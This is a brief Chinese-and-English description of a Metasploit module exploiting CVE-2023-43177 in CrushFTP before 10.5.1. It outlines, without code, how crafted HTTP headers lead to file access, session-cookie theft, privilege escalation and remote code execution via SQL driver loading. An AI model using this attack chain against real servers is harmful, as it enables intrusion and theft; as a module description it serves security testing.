此 Metasploit 漏洞利用模块利用对动态确定对象属性的不当控制修改漏洞 （CVE-2023-43177） 来实现未经身份验证的远程代码执行。这会影响 10.5.1 之前的 CrushFTP 版本。可以通过发送具有特制标头键值对的 HTTP 请求来设置某些用户的会话属性。这使未经身份验证的攻击者能够访问服务器文件系统上的任何位置的文件，并窃取经过身份验证的有效用户的会话 Cookie。攻击包括劫持用户的会话并升级权限以获得对目标的完全控制权。远程代码执行是通过滥用动态 SQL 驱动程序加载和配置测试功能获得的。

This exploit module leverages an Improperly Controlled Modification
of Dynamically-Determined Object Attributes vulnerability
(CVE-2023-43177) to achieve unauthenticated remote code execution.
This affects CrushFTP versions prior to 10.5.1.
It is possible to set some user's session properties by sending an HTTP
request with specially crafted Header key-value pairs. This enables an
unauthenticated attacker to access files anywhere on the server file
system and steal the session cookies of valid authenticated users. The
attack consists in hijacking a user's session and escalates privileges
to obtain full control of the target. Remote code execution is obtained
by abusing the dynamic SQL driver loading and configuration testing
feature.
